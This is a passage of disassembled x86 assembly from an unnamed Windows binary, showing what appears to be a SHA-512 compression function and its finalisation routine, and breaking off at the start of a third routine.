mov [esp+170h+var_64], eax
mov eax, [esp+170h+var_148]
mov edx, ecx
xor esi, esi
shr edx, 9
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
or edx, edi
xor ebx, ebx
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_144]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
xor edi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
xor esi, ecx
mov ecx, [esp+170h+var_144]
mov ebx, ecx
and ecx, [esp+170h+var_13C]
mov edi, eax
and eax, [esp+170h+var_140]
not ebx
and ebx, [esp+170h+var_134]
not edi
and edi, [esp+170h+var_138]
xor ebx, ecx
mov ecx, [esp+170h+var_12C]
xor edi, eax
mov eax, [esp+170h+var_15C]
add edx, edi
adc esi, ebx
add edx, ds:dword_41F9A0[eax*8]
adc esi, ds:dword_41F9A4[eax*8]
add edx, [esp+170h+var_68]
mov eax, [esp+170h+var_130]
adc esi, [esp+170h+var_64]
add eax, edx
adc ecx, esi
add [esp+170h+var_150], eax
mov [esp+170h+var_12C], ecx
mov [esp+170h+var_130], eax
adc [esp+170h+var_14C], ecx
mov eax, [esp+170h+var_124]
mov ecx, [esp+170h+var_128]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
xor edi, edi
or edi, edx
mov ebp, eax
shld ebp, ecx, 1Eh
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shl ecx, 1Eh
shr edx, 2
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ecx, eax
mov ebx, [esp+170h+var_128]
xor edx, edx
mov ebp, eax
shld ebp, ebx, 19h
or edx, ebp
mov ebp, [esp+170h+var_11C]
shl ebx, 19h
shr ecx, 7
or ecx, ebx
xor esi, edx
mov edx, [esp+170h+var_120]
xor edi, ecx
mov ecx, [esp+170h+var_128]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_158]
and edx, ecx
mov ecx, [esp+170h+var_11C]
xor ebp, eax
and ebp, [esp+170h+var_154]
and ecx, eax
xor ebx, edx
xor ebp, ecx
add edi, ebx
adc esi, ebp
add [esp+170h+var_130], edi
adc [esp+170h+var_12C], esi
cmp [esp+170h+var_15C], 0
jz loc_415F71
mov eax, [esp+170h+var_B0]
mov ecx, [esp+170h+var_AC]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_AC]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_F0]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_EC]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_F0]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_EC]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_A8]
adc edx, [esp+170h+var_A4]
add ecx, [esp+170h+var_F8]
adc edx, [esp+170h+var_F4]
mov [eax+0A8h], ecx
mov [eax+0ACh], edx
mov eax, edx
mov [esp+170h+var_F8], ecx
mov [esp+170h+var_F4], eax
mov [esp+170h+var_50], ecx
jmp short loc_415F80
; ---------------------------------------------------------------------------
loc_415F71: ; CODE XREF: sub_4143D0+1AB0j
mov edx, [esp+170h+var_F8]
mov eax, [esp+170h+var_F4]
mov [esp+170h+var_50], edx
loc_415F80: ; CODE XREF: sub_4143D0+1B9Fj
mov ecx, [esp+170h+var_14C]
mov ebx, ecx
mov [esp+170h+var_4C], eax
mov eax, [esp+170h+var_150]
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_14C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_148]
xor esi, ecx
mov ecx, [esp+170h+var_14C]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_144]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_134]
not ebx
and ebx, [esp+170h+var_13C]
not edi
and edi, [esp+170h+var_140]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F9A8[eax*8]
adc esi, ds:dword_41F9AC[eax*8]
add edx, [esp+170h+var_50]
mov eax, [esp+170h+var_138]
adc esi, [esp+170h+var_4C]
add eax, edx
adc ecx, esi
add [esp+170h+var_158], eax
mov [esp+170h+var_134], ecx
mov [esp+170h+var_138], eax
adc [esp+170h+var_154], ecx
mov ecx, [esp+170h+var_130]
mov eax, [esp+170h+var_12C]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
mov ebp, eax
shld ebp, ecx, 1Eh
xor edi, edi
or edi, edx
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shr edx, 2
shl ecx, 1Eh
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ebx, [esp+170h+var_130]
xor edx, edx
mov ebp, eax
shld ebp, ebx, 19h
or edx, ebp
mov ebp, [esp+170h+var_124]
shl ebx, 19h
xor esi, edx
mov edx, [esp+170h+var_128]
mov ecx, eax
shr ecx, 7
or ecx, ebx
xor edi, ecx
mov ecx, [esp+170h+var_130]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_120]
and edx, ecx
mov ecx, [esp+170h+var_124]
xor ebp, eax
and ebp, [esp+170h+var_11C]
and ecx, eax
xor ebx, edx
xor ebp, ecx
add edi, ebx
adc esi, ebp
add [esp+170h+var_138], edi
adc [esp+170h+var_134], esi
cmp [esp+170h+var_15C], 0
jz loc_4161C3
mov eax, [esp+170h+var_C0]
mov ecx, [esp+170h+var_BC]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_BC]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_E8]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_E4]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_E8]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_E4]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_D0]
adc edx, [esp+170h+var_CC]
add ecx, [esp+170h+var_B0]
adc edx, [esp+170h+var_AC]
mov [eax+0B0h], ecx
mov [eax+0B4h], edx
mov eax, edx
mov [esp+170h+var_B0], ecx
mov [esp+170h+var_AC], eax
mov [esp+170h+var_40], ecx
jmp short loc_4161D8
; ---------------------------------------------------------------------------
loc_4161C3: ; CODE XREF: sub_4143D0+1CF6j
mov edx, [esp+170h+var_B0]
mov eax, [esp+170h+var_AC]
mov [esp+170h+var_40], edx
loc_4161D8: ; CODE XREF: sub_4143D0+1DF1j
mov ecx, [esp+170h+var_154]
mov [esp+170h+var_3C], eax
mov eax, [esp+170h+var_158]
mov ebx, ecx
xor esi, esi
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
mov edx, ecx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
xor ebx, ebx
or ebx, ebp
mov ebp, [esp+170h+var_154]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
mov ecx, eax
shl ecx, 12h
shr ebp, 0Eh
or ecx, ebp
mov ebp, [esp+170h+var_150]
xor esi, ecx
mov ecx, [esp+170h+var_154]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_14C]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_13C]
not edi
and edi, [esp+170h+var_148]
not ebx
and ebx, [esp+170h+var_144]
xor edi, ebp
xor ebx, eax
mov eax, [esp+170h+var_15C]
add edx, edi
adc esi, ebx
add edx, ds:dword_41F9B0[eax*8]
mov edi, [esp+170h+var_12C]
adc esi, ds:dword_41F9B4[eax*8]
add edx, [esp+170h+var_40]
mov eax, [esp+170h+var_140]
adc esi, [esp+170h+var_3C]
add eax, edx
adc ecx, esi
add [esp+170h+var_120], eax
mov esi, [esp+170h+var_130]
mov [esp+170h+var_140], eax
adc [esp+170h+var_11C], ecx
mov [esp+170h+var_13C], ecx
mov ecx, [esp+170h+var_138]
mov eax, esi
xor eax, ecx
mov [esp+170h+var_98], eax
mov eax, [esp+170h+var_134]
mov edx, edi
xor edx, eax
mov [esp+170h+var_94], edx
mov edx, esi
and edx, ecx
mov [esp+170h+var_90], edx
mov edx, edi
and edx, eax
mov [esp+170h+var_8C], edx
mov edx, ecx
xor esi, esi
shl edx, 4
mov edi, ecx
mov ebx, eax
shrd edi, ebx, 1Ch
shr ebx, 1Ch
or edx, ebx
or esi, edi
mov ebp, eax
shld ebp, ecx, 1Eh
xor ebx, ebx
shl ecx, 1Eh
or ebx, ebp
mov edi, eax
xor edx, ebx
mov ebx, [esp+170h+var_138]
shr edi, 2
or edi, ecx
mov ecx, eax
shld eax, ebx, 19h
xor esi, edi
shr ecx, 7
xor edi, edi
or edi, eax
mov eax, [esp+170h+var_98]
and eax, [esp+170h+var_128]
shl ebx, 19h
xor eax, [esp+170h+var_90]
or ecx, ebx
xor esi, ecx
mov ecx, [esp+170h+var_94]
and ecx, [esp+170h+var_124]
xor edx, edi
xor ecx, [esp+170h+var_8C]
add esi, eax
adc edx, ecx
add [esp+170h+var_140], esi
adc [esp+170h+var_13C], edx
cmp [esp+170h+var_15C], 0
jz loc_41643F
mov eax, [esp+170h+var_A0]
mov ecx, [esp+170h+var_9C]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 8
mov ebp, eax
shrd ebp, ecx, 1
xor esi, esi
or esi, edi
shr ecx, 1
mov edi, eax
mov edx, eax
shr ebx, 8
shl edi, 1Fh
or edi, ecx
mov ecx, [esp+170h+var_9C]
shrd eax, ecx, 7
shl edx, 18h
or edx, ebx
xor ebx, ebx
or ebx, ebp
xor esi, ebx
xor esi, eax
mov eax, [esp+170h+var_F8]
xor edx, edi
shr ecx, 7
xor edx, ecx
mov ecx, [esp+170h+var_F4]
mov ebx, eax
mov ebp, ecx
shrd ebx, ebp, 13h
xor edi, edi
or edi, ebx
mov ebx, ecx
mov [esp+170h+var_160], esi
mov esi, eax
shld ecx, eax, 3
add eax, eax
add eax, eax
shl esi, 0Dh
shr ebp, 13h
or esi, ebp
add eax, eax
shr ebx, 1Dh
or ebx, eax
mov eax, [esp+170h+var_F8]
xor ebp, ebp
or ebp, ecx
mov ecx, [esp+170h+var_F4]
shrd eax, ecx, 6
shr ecx, 6
xor esi, ebp
xor edi, ebx
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_D8]
adc edx, [esp+170h+var_D4]
add ecx, [esp+170h+var_C0]
adc edx, [esp+170h+var_BC]
mov [eax+0B8h], ecx
mov [eax+0BCh], edx
mov eax, edx
mov [esp+170h+var_C0], ecx
mov [esp+170h+var_BC], eax
mov [esp+170h+var_30], ecx
jmp short loc_416454
; ---------------------------------------------------------------------------
loc_41643F: ; CODE XREF: sub_4143D0+1F7Ej
mov edx, [esp+170h+var_C0]
mov eax, [esp+170h+var_BC]
mov [esp+170h+var_30], edx
loc_416454: ; CODE XREF: sub_4143D0+206Dj
mov ecx, [esp+170h+var_11C]
mov ebx, ecx
mov [esp+170h+var_2C], eax
mov eax, [esp+170h+var_120]
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_11C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
shr ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_158]
xor esi, ecx
mov ecx, [esp+170h+var_11C]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_154]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_148]
not ebx
and ebx, [esp+170h+var_14C]
not edi
and edi, [esp+170h+var_150]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F9B8[eax*8]
adc esi, ds:dword_41F9BC[eax*8]
add edx, [esp+170h+var_30]
mov eax, [esp+170h+var_128]
adc esi, [esp+170h+var_2C]
add ecx, edx
mov edx, [esp+170h+var_144]
adc edx, esi
add eax, ecx
adc [esp+170h+var_124], edx
mov [esp+170h+var_148], ecx
mov ecx, [esp+170h+var_140]
mov [esp+170h+var_144], edx
mov edx, [esp+170h+var_13C]
mov ebx, ecx
mov ebp, edx
shrd ebx, ebp, 1Ch
xor edi, edi
or edi, ebx
mov esi, ecx
mov ebx, edx
shld edx, ecx, 1Eh
shr ebp, 1Ch
shl esi, 4
or esi, ebp
shr ebx, 2
shl ecx, 1Eh
xor ebp, ebp
or ebx, ecx
mov [esp+170h+var_128], eax
or ebp, edx
mov ecx, [esp+170h+var_13C]
xor esi, ebp
mov ebp, [esp+170h+var_140]
mov edx, ecx
shld ecx, ebp, 19h
xor edi, ebx
shr edx, 7
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_98]
and ecx, [esp+170h+var_140]
shl ebp, 19h
xor ecx, [esp+170h+var_90]
or edx, ebp
xor edi, edx
mov edx, [esp+170h+var_94]
and edx, [esp+170h+var_13C]
xor esi, ebx
xor edx, [esp+170h+var_8C]
add edi, ecx
adc esi, edx
add [esp+170h+var_148], edi
adc [esp+170h+var_144], esi
cmp [esp+170h+var_15C], 0
jz loc_4166A0
mov eax, [esp+170h+var_B0]
mov ecx, [esp+170h+var_AC]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 13h
xor esi, esi
or esi, edi
mov edi, ecx
shr ebx, 13h
mov edx, eax
mov ebp, eax
shld ecx, ebp, 3
shl edx, 0Dh
or edx, ebx
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_AC]
shrd eax, ecx, 6
add ebp, ebp
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor esi, edi
xor esi, eax
mov eax, [esp+170h+var_E0]
xor edx, ebx
shr ecx, 6
xor edx, ecx
mov ecx, [esp+170h+var_DC]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
xor edi, edi
or edi, ebx
mov [esp+170h+var_160], esi
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_E0]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_DC]
shrd eax, ecx, 7
shr ecx, 7
xor esi, ebx
xor edi, ebp
xor edi, eax
mov eax, [esp+170h+arg_0]
xor esi, ecx
mov ecx, [esp+170h+var_160]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_118]
adc edx, [esp+170h+var_114]
add ecx, [esp+170h+var_A0]
adc edx, [esp+170h+var_9C]
mov [eax+0C0h], ecx
mov [eax+0C4h], edx
mov eax, edx
mov [esp+170h+var_9C], eax
mov [esp+170h+var_1C], eax
mov eax, [esp+170h+var_128]
mov [esp+170h+var_A0], ecx
mov [esp+170h+var_20], ecx
jmp short loc_4166BC
; ---------------------------------------------------------------------------
loc_4166A0: ; CODE XREF: sub_4143D0+21CEj
mov edx, [esp+170h+var_A0]
mov ecx, [esp+170h+var_9C]
mov [esp+170h+var_20], edx
mov [esp+170h+var_1C], ecx
loc_4166BC: ; CODE XREF: sub_4143D0+22CEj
mov ecx, [esp+170h+var_124]
mov ebx, ecx
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_124]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_120]
xor esi, ecx
mov ecx, [esp+170h+var_124]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_11C]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_14C]
not ebx
and ebx, [esp+170h+var_154]
not edi
and edi, [esp+170h+var_158]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F9C0[eax*8]
adc esi, ds:dword_41F9C4[eax*8]
add edx, [esp+170h+var_20]
mov eax, [esp+170h+var_150]
adc esi, [esp+170h+var_1C]
add eax, edx
adc ecx, esi
add [esp+170h+var_130], eax
mov [esp+170h+var_14C], ecx
mov [esp+170h+var_150], eax
adc [esp+170h+var_12C], ecx
mov eax, [esp+170h+var_144]
mov ecx, [esp+170h+var_148]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
xor edi, edi
or edi, edx
mov ebp, eax
shld ebp, ecx, 1Eh
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shl ecx, 1Eh
shr edx, 2
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ecx, eax
mov ebx, [esp+170h+var_148]
mov ebp, eax
shld ebp, ebx, 19h
xor edx, edx
or edx, ebp
mov ebp, [esp+170h+var_13C]
xor ebp, [esp+170h+var_134]
shl ebx, 19h
shr ecx, 7
or ecx, ebx
xor esi, edx
mov edx, [esp+170h+var_140]
xor edi, ecx
mov ecx, [esp+170h+var_138]
and ebp, eax
mov eax, [esp+170h+var_13C]
and eax, [esp+170h+var_134]
mov ebx, edx
xor ebx, ecx
and ebx, [esp+170h+var_148]
and edx, ecx
xor ebx, edx
xor ebp, eax
add edi, ebx
adc esi, ebp
add [esp+170h+var_150], edi
adc [esp+170h+var_14C], esi
cmp [esp+170h+var_15C], 0
jz loc_4168EA
mov eax, [esp+170h+var_C0]
mov ecx, [esp+170h+var_BC]
mov ebx, ecx
mov edi, eax
shrd edi, ebx, 13h
xor esi, esi
or esi, edi
mov edi, ecx
shr ebx, 13h
mov edx, eax
mov ebp, eax
shld ecx, ebp, 3
shl edx, 0Dh
or edx, ebx
xor ebx, ebx
or ebx, ecx
mov ecx, [esp+170h+var_BC]
shrd eax, ecx, 6
add ebp, ebp
add ebp, ebp
add ebp, ebp
shr edi, 1Dh
or edi, ebp
xor esi, edi
xor esi, eax
mov eax, [esp+170h+var_100]
xor edx, ebx
shr ecx, 6
xor edx, ecx
mov ecx, [esp+170h+var_FC]
mov ebp, ecx
mov ebx, eax
shrd ebx, ebp, 8
xor edi, edi
or edi, ebx
mov [esp+170h+var_160], esi
mov esi, eax
mov ebx, eax
shrd eax, ecx, 1
shl esi, 18h
shr ebp, 8
or esi, ebp
shr ecx, 1
xor ebp, ebp
or ebp, eax
mov eax, [esp+170h+var_100]
shl ebx, 1Fh
or ebx, ecx
mov ecx, [esp+170h+var_FC]
shrd eax, ecx, 7
shr ecx, 7
xor esi, ebx
xor edi, ebp
xor esi, ecx
mov ecx, [esp+170h+var_160]
xor edi, eax
mov eax, [esp+170h+arg_0]
add ecx, edi
adc edx, esi
add ecx, [esp+170h+var_C8]
adc edx, [esp+170h+var_C4]
add ecx, [esp+170h+var_E0]
adc edx, [esp+170h+var_DC]
mov [eax+0C8h], ecx
mov [eax+0CCh], edx
mov eax, edx
mov [esp+170h+var_E0], ecx
mov [esp+170h+var_DC], eax
mov [esp+170h+var_10], ecx
jmp short loc_4168FF
; ---------------------------------------------------------------------------
loc_4168EA: ; CODE XREF: sub_4143D0+2429j
mov edx, [esp+170h+var_E0]
mov eax, [esp+170h+var_DC]
mov [esp+170h+var_10], edx
loc_4168FF: ; CODE XREF: sub_4143D0+2518j
mov ecx, [esp+170h+var_12C]
mov ebx, ecx
mov [esp+170h+var_C], eax
mov eax, [esp+170h+var_130]
xor esi, esi
mov edx, ecx
mov edi, eax
shld ebx, edi, 17h
or esi, ebx
shl edi, 17h
xor ebx, ebx
shr edx, 9
or edx, edi
mov ebp, eax
shrd ebp, ecx, 12h
or ebx, ebp
mov ebp, [esp+170h+var_12C]
xor edx, ebx
shr ecx, 12h
mov edi, eax
shl edi, 0Eh
or edi, ecx
xor esi, edi
mov ebx, eax
shrd ebx, ebp, 0Eh
xor edi, edi
or edi, ebx
xor edx, edi
shr ebp, 0Eh
mov ecx, eax
shl ecx, 12h
or ecx, ebp
mov ebp, [esp+170h+var_128]
xor esi, ecx
mov ecx, [esp+170h+var_12C]
and ebp, eax
mov edi, eax
mov eax, [esp+170h+var_124]
and eax, ecx
mov ebx, ecx
mov ecx, [esp+170h+var_154]
not ebx
and ebx, [esp+170h+var_11C]
not edi
and edi, [esp+170h+var_120]
xor ebx, eax
mov eax, [esp+170h+var_15C]
xor edi, ebp
add edx, edi
adc esi, ebx
add edx, ds:dword_41F9C8[eax*8]
adc esi, ds:dword_41F9CC[eax*8]
add edx, [esp+170h+var_10]
mov eax, [esp+170h+var_158]
adc esi, [esp+170h+var_C]
add eax, edx
adc ecx, esi
add [esp+170h+var_138], eax
mov [esp+170h+var_154], ecx
mov [esp+170h+var_158], eax
adc [esp+170h+var_134], ecx
mov ecx, [esp+170h+var_150]
mov eax, [esp+170h+var_14C]
mov edx, ecx
mov ebx, eax
shrd edx, ebx, 1Ch
mov esi, ecx
mov ebp, eax
shld ebp, ecx, 1Eh
xor edi, edi
or edi, edx
shr ebx, 1Ch
shl esi, 4
or esi, ebx
mov edx, eax
shr edx, 2
shl ecx, 1Eh
xor ebx, ebx
or edx, ecx
or ebx, ebp
xor edi, edx
xor esi, ebx
mov ebx, [esp+170h+var_150]
mov ebp, eax
shld ebp, ebx, 19h
shl ebx, 19h
xor edx, edx
or edx, ebp
mov ecx, eax
shr ecx, 7
or ecx, ebx
xor edi, ecx
mov ecx, [esp+170h+var_150]
xor esi, edx
mov edx, [esp+170h+var_140]
mov ebx, ecx
and ecx, edx
xor ebx, edx
and ebx, [esp+170h+var_148]
mov ebp, eax
xor ebp, [esp+170h+var_13C]
mov edx, ecx
and ebp, [esp+170h+var_144]
mov ecx, [esp+170h+var_13C]
and eax, ecx
xor ebx, edx
xor ebp, eax
add edi, ebx
adc esi, ebp
add [esp+170h+var_158], edi
mov edi, [esp+170h+var_15C]
adc [esp+170h+var_154], esi
add edi, 10h
cmp edi, 50h
mov [esp+170h+var_15C], edi
jb loc_414560
mov eax, [esp+170h+var_4]
mov edx, [esp+170h+var_158]
add [eax], edx
mov edx, [esp+170h+var_154]
pop edi
adc [eax+4], edx
mov eax, [esp+16Ch+arg_0]
mov edx, [esp+16Ch+var_150]
add [eax+18h], edx
mov edx, [esp+16Ch+var_14C]
pop esi
adc [eax+1Ch], edx
mov edx, [esp+168h+var_148]
add [eax+20h], edx
mov edx, [esp+168h+var_144]
pop ebp
adc [eax+24h], edx
mov edx, [esp+164h+var_140]
add [eax+28h], edx
mov edx, [esp+164h+var_134]
pop ebx
adc [eax+2Ch], ecx
mov ecx, [esp+160h+var_138]
add [eax+30h], ecx
mov ecx, [esp+160h+var_130]
adc [eax+34h], edx
add [eax+38h], ecx
mov edx, [esp+160h+var_12C]
mov ecx, [esp+160h+var_128]
adc [eax+3Ch], edx
add [eax+40h], ecx
mov edx, [esp+160h+var_124]
mov ecx, [esp+160h+var_120]
adc [eax+44h], edx
add [eax+48h], ecx
mov edx, [esp+160h+var_11C]
adc [eax+4Ch], edx
add esp, 160h
retn
sub_4143D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416AE0 proc near ; CODE XREF: .text:00416D62p
; sub_41B7F9+CAp
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov ecx, [ebx]
push ebp
and ecx, 7Fh
push esi
lea esi, [ecx+7]
shr esi, 3
push edi
mov [esp+10h+var_4], ecx
jz short loc_416B45
lea edx, [ebx+esi*8+50h]
loc_416AF9: ; CODE XREF: sub_416AE0+5Fj
mov eax, [edx-8]
mov ecx, [edx-4]
sub edx, 8
mov edi, eax
sub esi, 1
ror edi, 8
and edi, 0FF00FF00h
rol eax, 8
and eax, 0FF00FFh
or edi, eax
mov ebp, ecx
xor eax, eax
ror ebp, 8
and ebp, 0FF00FF00h
rol ecx, 8
and ecx, 0FF00FFh
or ebp, ecx
xor ecx, ecx
or eax, ebp
or edi, ecx
test esi, esi
mov [edx], eax
mov [edx+4], edi
jnz short loc_416AF9
mov ecx, [esp+10h+var_4]
loc_416B45: ; CODE XREF: sub_416AE0+13j
mov eax, ecx
and eax, 7
add eax, eax
add eax, eax
mov esi, dword_4249C0[eax+eax]
mov edi, dword_4249C4[eax+eax]
add eax, eax
mov edx, ecx
shr edx, 3
and esi, [ebx+edx*8+50h]
and edi, [ebx+edx*8+54h]
or esi, dword_424A00[eax]
or edi, dword_424A04[eax]
cmp ecx, 6Fh
mov [ebx+edx*8+50h], esi
mov [ebx+edx*8+54h], edi
jbe short loc_416BAA
cmp ecx, 78h
jnb short loc_416B9D
mov dword ptr [ebx+0C8h], 0
mov dword ptr [ebx+0CCh], 0
loc_416B9D: ; CODE XREF: sub_416AE0+A7j
push ebx
call sub_4143D0
add esp, 4
xor edx, edx
jmp short loc_416BB2
; ---------------------------------------------------------------------------
loc_416BAA: ; CODE XREF: sub_416AE0+A2j
add edx, 1
cmp edx, 0Eh
jnb short loc_416BD8
loc_416BB2: ; CODE XREF: sub_416AE0+C8j
mov ecx, 0Dh
sub ecx, edx
add ecx, ecx
add ecx, ecx
lea esi, [ebx+edx*8+50h]
add ecx, ecx
shr ecx, 2
lea edi, [esi+8]
mov dword ptr [esi], 0
mov dword ptr [esi+4], 0
rep movsd
loc_416BD8: ; CODE XREF: sub_416AE0+D0j
mov edx, [ebx+8]
mov esi, [ebx+0Ch]
mov ecx, [ebx+4]
mov eax, [ebx]
shld esi, edx, 3
add edx, edx
mov edi, ecx
shld ecx, eax, 3
add edx, edx
add eax, eax
add edx, edx
add eax, eax
shr edi, 1Dh
xor ebp, ebp
or edx, edi
add eax, eax
or esi, ebp
push ebx
mov [ebx+0C0h], edx
mov [ebx+0C4h], esi
mov [ebx+0C8h], eax
mov [ebx+0CCh], ecx
call sub_4143D0
add esp, 4
xor esi, esi
loc_416C25: ; CODE XREF: sub_416AE0+171j
mov ecx, esi
not ecx
and ecx, 7
mov edx, esi
shr edx, 3
mov eax, [ebx+edx*8+10h]
mov edx, [ebx+edx*8+14h]
add ecx, ecx
add ecx, ecx
add ecx, ecx
call unknown_libname_137 ; Microsoft VisualC 2-8/net runtime
mov ecx, [esp+10h+arg_0]
mov [esi+ecx], al
add esi, 1
cmp esi, 40h
jb short loc_416C25
pop edi
pop esi
pop ebp
pop ecx
retn
sub_416AE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416C60 proc near ; CODE XREF: sub_41B7F9+A3p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebx
mov ebx, [esp+10h+arg_4]
mov eax, [ebx]
push ebp
mov ebp, [esp+14h+arg_0]
push esi
push edi
and eax, 7Fh
mov edi, 80h
sub edi, eax
